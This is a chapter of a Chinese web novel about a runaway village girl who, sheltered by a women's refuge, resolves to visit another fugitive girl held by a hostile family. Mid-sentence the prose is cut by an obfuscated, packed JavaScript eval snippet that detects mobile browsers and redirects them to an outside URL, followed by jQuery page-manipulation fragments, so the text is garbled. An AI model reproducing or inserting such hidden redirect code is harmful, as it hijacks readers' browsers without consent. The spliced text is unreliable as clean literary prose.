25. 第 25 章
作品:《农女要登青云梯》 晚食后,白日种种在陶苗苗脑中回放。今日,连向来温和的明清看她的眼神里都带上了谴责。
年婶子和朱婶子一如既往地冷脸,但也没对她动手。
往日里让她安全感十足的小小房间,窄窄床铺,今日却怎么也装不下陶苗苗满溢的愁绪。
她翻身坐起,踌躇地静坐半晌,摸着手上细细密密包扎好的伤口,终是起身出门,来到了左侧最大的房间。
小手轻叩门扉,“年婶子,您睡了吗?”
没多久,房门被打开,年婶子身披外裳站在门内,冷凝的眉眼看到陶苗苗时浮现出惊讶之色,“是你?何事?”
夜色下,陶苗苗收起了这几日标志性的小心怯懦,面色显得沉静许多,“年婶子,您能和我说说刘姑娘吗?”
年婶子皱起了眉头。
陶苗苗据理力争,“您什么都不与我说,我千辛万苦才到的此地,哪里敢轻易说话。”
年婶子轻叹一口气,让开了门口的位置,“进来吧。”
隔壁的朱婶子听到动静也一起走了进来。
似是第一日的场景重现,年婶子和朱婶子又并肩坐在了陶苗苗对面。
但,因着这么长时间的善意,陶苗苗经过白日之事又想通了其间关窍,氛围和缓许多。
“你想问刘姑娘?刘姑娘真是你姐姐?”
“不是,只是,我听村里人说起过刘姑娘。”
想到那姑娘,年婶子也是愁容满面,“她从东头下的山,昏迷在路边,朱振那帮子人救醒了她。”
朱婶子在旁边补充,“就是今天过来的那些人。”
“刘姑娘不似你,醒来后见朱振两口子和善得紧,问什么答什么。说是山那边刘家庄的,因不满婚事逃跑过来的。”
这倒是与陶苗苗所知吻合。
“按照元林国现今的律例,这类外来独身女子应由明智屋接手,我和你朱婶子前去接人,刘姑娘被朱振夫妇的和善所迷惑,又有里正背书,决意留在朱振家。”
“后来呢?”
“后来…”年婶子艰难地开口说道,“后来,没过几日,朱振说他家丢了祖传的珍贵物件,又有左邻右舍作证,刘姑娘被扣在了朱家。
现在,说是要替刘姑娘找个能给朱振赔祖传物件的夫家。”
“刘姑娘本就为婚事而逃,而今又要被那些人随意找夫家?”陶苗苗抿了抿唇,试探着问道,“听起来,明智屋似乎可以庇护刘姑娘?”
“若刘姑娘没犯事,确实如此,但现在…”朱婶子叹了一口气。
“刘姑娘而今被他们套了一桩罪名,属于里正的管辖范围,明智屋亦不能随意插手。
而且刘姑娘不知道明智屋,无法与我们说清楚原委。
我们这儿离长公主的封地远,明智屋并不多厉害,能侥幸护住屋里的这些人都已经耗费了巨大的心力。
若明智屋没把握便贸然发难,最后却被反将一军,势必会被朱振那帮人借势打压。
到时候……”
年婶子打断了朱婶子解释的话语,精明的眸光射向陶苗苗,“你先与我们说说,你的身份。
你早先问起刘姑娘,想必就是周边几个庄子的。”
陶苗苗今日前来,本就没想再隐瞒身份,只是,在这之前,她得再确认一件事情。
“年婶子,若确定了我是良民,我能留在这儿吗?
还是…”陶苗苗这回是真的忐忑,“会被你们摸清地方遣送回去?”
年婶子没想到她担忧的竟是这个,“何出此言?怎么会把你遣送回去?
你当日的惨状我们都看在眼里,只要确定了你是良民,你愿意留下,自然是会把你留下的!”
她指了指右侧的房间,“给你包扎换药的乌木,就是我们早先留下来的医女。”
原来乌木是如此来历,难怪这些时日以来看她越拉越不顺眼。肯定是厌恶她不识好人心,给明智屋添了麻烦。
陶苗苗有些赧然,“对不起,婶子们,给你们添麻烦了。
我是山那边陶家庄的陶苗苗,因着被家里人定了一门不对劲的亲事,才冒雨翻山过来的。”
“怎么不对劲?”年婶子并未放过细节。
“媒人说对方是县里大户人家的公子,本人和家中长辈却从相看到下聘定亲从未露过面。
一直是一位老仆前来主事,而且聘礼极重,是我家从未见过的财富。
我看着,不像是聘夫人,倒像是重金买断我这个人似的,越想越害怕。
恰巧,当时村子里流传着刘姑娘的事,我便起了心思。”
听着倒是有理有据。
年婶子和朱婶子转身拿出了第一日的册子,逐条登记起来。
姓名,年龄,住址,家中几口人……
登记完毕,年婶子和朱婶子大致心里有了数。看起来,面前的丫头就是个机警些的农家丫头,因为婚事不对劲而离家出走。
正是他们明智屋明令可以接收的对象。
年婶子合上册子,对陶苗苗说道,“我们明智屋每年年底都会派人去山对面,暗地里核查外来人的身份。
待核查确认属实以后,明智屋会给你制作可随处通行的身份牌。”
说完递了一块黑色的木质令牌过来,“到年底的这段时日,你先拿好这块令牌,仅可在朱家庄通行。”
陶苗苗接过令牌,只见令牌通体漆黑,被打磨得很光滑,正面刻了壹字,背面则是用小篆写着明智屋制,朱家庄通行。
陶苗苗收好令牌,旁边朱婶子又补了一句,“拿到身份以前,离朱振那帮人远些。还有,虽说朱家庄内随处可行,还是别离明智屋太远。”
刘姑娘的前车之鉴在那儿,陶苗苗知道对方是为自己好,她应该点头应下的。
只是…想到峭壁上带血的坑洞,刘姑娘走到此处也是万般不易,费尽了心力,她甚至还沾了些刘姑娘的光。
若要就此放下她不管,午夜梦回间,峭壁上染血的坑洞大概会一直徘徊在她脑海中,始终不得解脱。
陶苗苗犹豫片刻,终是问
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16757825|187002||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
出了口,“不知,刘姑娘而今是何境况,按理说下狱的人都尚且允许探监,我可以去见见刘姑娘吗?”
年婶子沉重地摇了摇头,“苗苗,我知道你想帮她。
但是,朱振那帮子人对刘姑娘看守很严,我们今日又才起了冲突,此时去求见,定然也是无法得见的。”
眼见着陶苗苗还是一副不死心的模样,年婶子赶忙换了警告的语气。
“而今,你只有朱家庄的暂行令牌,在元林国并无身份,切莫冲动行事。万事等年底核查完,拿到身份再说。”
可是,此时到年底还有半年之久,到那时,刘姑娘之事肯定已成定局了。
陶苗苗想到以前看过的影视剧,试探着问道,“婶子,咱们这儿离长公主的封地远,她既推行了明智屋,就没有设钦差巡视吗?”
“有的。只是,即使是州府里的明智屋主事来了,也只能告到衙门里主持公道。
如老朱早先所说,若不知案件细节,贸然告状,怕是会被捏住错处,让咱们在朱家庄寸步难行。
刘姑娘也说不得会下狱,得不偿失。”
见陶苗苗愁容满面,朱婶子宽慰道,“苗苗,你放心,有明智屋在,他们不敢给刘姑娘随意找不好的夫家。
若是找了离谱的亲事,州府有明令在,明智屋可直接插手阻止。”
陶苗苗懂了,简单来说,就是明智屋的管辖范围不包括盗窃案,就算是级别高的明智屋主事来了,也只能帮忙告到衙门。
最后还是靠衙门里判,现在这边什么证据都没有。万一在公堂上被反咬一口,以后明智屋在朱家庄会很艰难。
而刘姑娘之事和明智屋众人放在天平上,年婶子朱婶子自然是后者更重。
而且,明智屋的存在能让刘姑娘的婚事不过于离谱,年婶子等人与刘姑娘不过一面之缘,还是被拒绝的那次,心里自然是没什么过不去的。
但是,陶苗苗不一样。
峭壁上带血的坑洞在她眼前挥之不去。
她与刘姑娘同病相怜,逃跑时更是受了刘姑娘的利,若是一点努力也不做,心里实在过不去。
陶苗苗想,至少…至少尽力见她一面,听听她的想法,再做打算。
“婶子们,实不相瞒,我能到这儿也算是承了刘姑娘的恩,但我也受了你们的大恩,不愿给你们带来麻烦。
我明日以刘姑娘同乡的身份单独去朱振家求见刘姑娘,您看可行吗?”
不过是同乡之谊,这丫头就甘愿如此冒险,倒是个有情有义之人。
年婶子沉吟片刻终是松了口,“老朱,你明日便陪她走这一遭,看顾着点这丫头。”
年婶子又转向陶苗苗,肃着脸告诫她,“虽说是同乡,但朱振那帮子人若是不允,你万万不可与他们起冲突,全须全尾地回来最重要,知道了吗?”
她轻抚了一下陶苗苗的头顶,“有我们在,刘姑娘的婚事不会过于离谱。
看起来,你却是个万万不能接受的,那就小心些,别把自己又搭进去了。”

